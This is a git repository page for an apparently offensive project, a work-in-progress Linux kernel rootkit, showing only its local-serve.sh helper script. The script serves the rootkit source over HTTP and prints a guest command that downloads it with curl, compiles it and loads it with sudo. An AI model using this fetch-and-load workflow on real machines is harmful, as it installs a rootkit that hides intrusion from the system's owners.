mina.ko~ (wip)LKM rootkit for 6.1+ kernels |
| git clone https://github.com/djnnvx/mina.ko.git |
| log | files | refs | archive | README | LICENSE |
local-serve.sh (1500B)
1 #!/usr/bin/env bash 2 3 set -euo pipefail 4 5 WATCH_DIR="./rootkit/" 6 ZIP_FILE="rootkit.zip" 7 PORT=6699 8 9 cleanup() { 10 echo "Stopping directory watcher..." 11 kill "$WATCHER_PID" 2>/dev/null 12 echo "Exiting." 13 exit 14 } 15 16 trap cleanup SIGINT 17 18 HOST_IP=$(ip route | awk '/virbr0/ {print $9}') 19 COMMAND_GUEST="curl http://${HOST_IP}:${PORT}/${ZIP_FILE} -o ${ZIP_FILE} && unzip ${ZIP_FILE} && cd ${WATCH_DIR} && make compile && sudo make load" 20 21 if [ ! -d "$WATCH_DIR" ]; then 22 echo "Error: Directory '$WATCH_DIR' not found." 23 exit 1 24 fi 25 26 echo "-----------------------------------------------" 27 echo "Host IP: ${HOST_IP}" 28 echo "Execute the following command in your virtual machine to download and exec" 29 echo "" 30 echo " ${COMMAND_GUEST}" 31 echo "" 32 echo "If it is your first time running the VM, you may need to run this in ${WATCH_DIR} directory:" 33 echo "" 34 echo " sudo apt install make && make deps" 35 echo "" 36 echo "-----------------------------------------------" 37 echo "Starting directory watcher in the background..." 38 39 ( 40 while inotifywait -r -e modify,create,delete,move "$WATCH_DIR"; do 41 echo "Change detected. Zipping directory..." 42 # Create the zip file, excluding the zip file itself and the lock file 43 zip -r "$ZIP_FILE" "$WATCH_DIR" -x "*$ZIP_FILE" -x "*.lock" 44 echo "Directory zipped to $ZIP_FILE" 45 done 46 ) & 47 WATCHER_PID=$! 48 49 sleep 1 50 51 echo "Starting Python HTTP server on port ${PORT}..." 52 cd "$(dirname "$WATCH_DIR")" 53 python3 -m http.server ${PORT} --bind 0.0.0.0